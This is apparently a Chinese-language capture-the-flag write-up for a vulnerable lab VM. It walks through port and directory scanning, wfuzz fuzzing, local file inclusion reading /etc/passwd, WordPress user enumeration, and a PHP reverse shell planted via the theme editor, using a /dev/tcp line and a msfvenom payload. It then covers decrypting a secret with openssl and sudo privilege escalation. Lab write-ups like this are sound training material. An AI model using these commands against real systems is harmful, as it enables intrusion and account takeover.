安装靶机,修改我们的网络连接方式,改为nat连接
主机发现
工具(https://github.com/790013438/lansee175)
看到我们的ip一个164一个162
再查看一下kali ip发现164是靶机的
端口扫描
nmap 192.168.59.164
nmap -sP 192.168.59.164/24
发现我们的80,22端口开放
在这里我们使用arp-scan -l也可以
查看网站
右键发现源码并不能看而且也没啥有用的那我们就可以扫描
扫描目录
扫描目录结构,使用kali自带的dirb扫描:
man dirb 可以查看dirb的使用帮助,使用dirb+http地址就可以扫描
dirb http://192.168.59.164
扫描出了/dev可以输入看看打开之后显示以下内容发现我们的思路是对的
我的翻译了正常显示的是英文
继续扫描,看看文本文件和压缩包中有没有用户名密码等信息
dirb http://192.168.59.164 -X .txt,.php,.zip
-X类型 ,逗号分割
扫到了一个txt文件,用curl访问一下
根据txt文件中的内容我们得到了两条信息
https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web
//see the location.txt and you will get your next move//
打开github给出了一个wfuzz命令
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://192.168.59.164/index.php?FUZZ
使用这个命令来请求网页(不知道的参数用FUZZ占位)
-w:指定一个字典文件 --hc:隐藏某些http响应
给出了好多内容我们看着也不方便所以需要过滤一下
wfuzz --hl 7 -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.59.164/index.php?FUZZ
过滤不是7行的发现没有了那就不对直接换
wfuzz --hw 12 -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.59.164/index.php?FUZZ
过滤不是12字符的发现有一个
通过过滤得出正确的参数是file
输入curl http://192.168.59.162/index.php?file=aaa会提示你的文件名不正确,证明file参数是正确的,如果输入别的不会有提示
结合之前给出的提示
curl http://192.168.59.164/index.php?file=location.txt
发现让我secrettier360替换file再去其他页面试试就去image.php试了试
curl http://192.168.59.164/image.php?secrettier360=
知道了文件参数,但还是不知道文件名,通过经验测试一下可不可以访问/etc/passwd文件,如果可以,那么此网站存在本地文件包含漏洞,测试后果然可以访问
发现出现的内容中倒数第二行有东西
http://192.168.59.164/image.php?secrettier360=/home/saket/password.txt
拼接在url上看了看果然有
这个试了试发现不是靶机的密码
接下来从扫描出的wordpress入手http://192.168.59.164/wordpress/
进到一个新页面
往下滑有个Meta 点击Log in 进入后就是下面的页面
不知道用户名,可以通过wpscan来扫描用户名,首先安装cmseek,wpscan专门扫描wordpress 的cms,使用wpscan --url http://192.168.59.164/wordpress/ --enumerate u 扫描(–enumerate选项来扫描并发现关于目标站点主题、插件和用户名信息。--enumerate u枚举WordPress用户名)
wpscan --url http://192.168.59.164/wordpress/ --enumerate u
使用victor用户名和刚才得出的密码follow_the_ippsec登录
进入wordpress管理界面,看看是否可以上传一句话木马,wordpress这个界面可以修改页面代码。 由于系统上有可能存在杀软,可能直接把一句话木马杀掉,所以尝试写一个PHP反弹连接,使用msf就可以生成一个反弹连接。(ip地址写攻击机的ip地址)
& /dev/tcp/192.168.95.128/9999 0>&1'");?>
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.59.162lport=7777 -o shell.php
网页访问
192.168.59.164/wordpress/wp-content/themes/twentynineteen/secret.php
Kali里面输入nc -lvvp 9999 显示连接成功
进到home/saket
Ls -ll
看到三个文件挨个打开看看发现user和password有东西enc没有权限用sudo ./enc试了一下发现需要密码password.txt里面密码并不对
搜索密码备份文件和系统的所有备份文件, 因为有时候管理员会在系统留有密码备份文件
find / -name '*backup*' 2>/dev/null | less| sort
find / -name '*backup*':这个命令在根目录(即 /)中搜索文件。-name 选项指定了搜索的文件名模式,在这里是 '*backup*'。这个模式表示任何文件名包含字符串 “backup” 的文件。find 命令会返回所有符合条件的文件的路径。
2>/dev/null: /dev/null 是一个特殊的文件,它的作用是丢弃所有写入它的数据。即将错误输出重定向到 /dev/null 就相当于丢弃所有错误信息(例如权限不足),只保留正常输出
| less:管道符(|)将前一个命令的输出传递给后一个命令。在这里,less 命令是一个文本浏览器,它可以让你在终端中浏览文本文件。将 find 的输出传递给 less 可以让你在终端中更方便地查看找到的文件的路径。
sort:这个命令对前一个命令的输出进行排序。在这里,它将找到的文件的路径按字母顺序排序。
输入之后的结果发现有很多备份文件,我们去寻找的是文件名带有user或者pass这种比较可疑的, 例如/opt/backup/server_database/backup_pass
然后我们就看到了enc的密码我们再去执行enc,发现多出了两个txt文件
我们查看一下多出来的文件
提示需要对ippsec字符串进行加密
对ippsec字符串进行md5加密:
echo -n "ippsec" | md5sum
echo -n 表示 echo 命令不要输出换行符。这样,输出的字符串就不会换行,而是和 md5sum 的输出在同一行
加密后的字符串为366a74cb3c959de17d61db30591c39d1
这里的key值需要用到openssl加解密
先查看openssl命令中支持哪些算法:openssl --help
将这些加密算法名称保存到CryptType文件中,让GPT给写成每行一个我直接放最后了
然后这里通过一个脚本,用所有格式的都解密一遍
for i in $(cat CryptType); do
decrypted=$(echo 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -$i -K 3336366137346362336339353964653137643631646233303539316333396431 2>/dev/null)
echo "$i: $decrypted"
Done
创建一个123.txt将代码保存在里面给一下权限直接运
出来的结果有一个不是乱码的
从前面开始一直都是在saket这个目录下寻找的,所以这里尝试使用这个密码和saket这个用户ssh登录试试
ssh [email protected]
连接成功
查看当前用户的权限 sudo -l
发现可以使用root权限无密码执行/home/victor/undefeated_victor
执行这个文件,提示没找到
去看了一下发现确实没有
那我们在/tmp目录下创建challenge文件,将下方内容写入并给上权限
#!/bin/bash
/bin/bash
然后重新执行/home/victor/undefeated_victor
这就到了root权限我们再去root下找那个flag
下面是上面的openssl命令中支持的算法
blake2b512
blake2s256
md4
md5
rmd160
sha1
sha224
sha256
sha3-224
sha3-256
sha3-384
sha3-512
sha384
sha512
sha512-224
sha512-256
shake128
shake256
sm3
aes-128-cbc
aes-128-ecb
aes-192-cbc
aes-192-ecb
aes-256-cbc
aes-256-ecb
aria-128-cbc
aria-128-cfb
aria-128-cfb1
aria-128-cfb8
aria-128-ctr
aria-128-ecb
aria-128-ofb
aria-192-cbc
aria-192-cfb
aria-192-cfb1
aria-192-cfb8
aria-192-ctr
aria-192-ecb
aria-192-ofb
aria-256-cbc
aria-256-cfb
aria-256-cfb1
aria-256-cfb8
aria-256-ctr
aria-256-ecb
aria-256-ofb
base64
bf
bf-cbc
bf-cfb
bf-ecb
bf-ofb
camellia-128-cbc
camellia-128-ecb
camellia-192-cbc
camellia-192-ecb
camellia-256-cbc
camellia-256-ecb
cast
cast-cbc
cast5-cbc
cast5-cfb
cast5-ecb
cast5-ofb
des
des-cbc
des-cfb
des-ecb
des-ede
des-ede-cbc
des-ede-cfb
des-ede-ofb
des-ede3
des-ede3-cbc
des-ede3-cfb
des-ede3-ofb
des-ofb
des3
desx
rc2
rc2-40-cbc
rc2-64-cbc
rc2-cbc
rc2-cfb
rc2-ecb
rc2-ofb
rc4
rc4-40
seed
seed-cbc
seed-cfb
seed-ecb
seed-ofb
sm4-cbc
sm4-cfb
sm4-ctr
sm4-ecb
sm4-ofb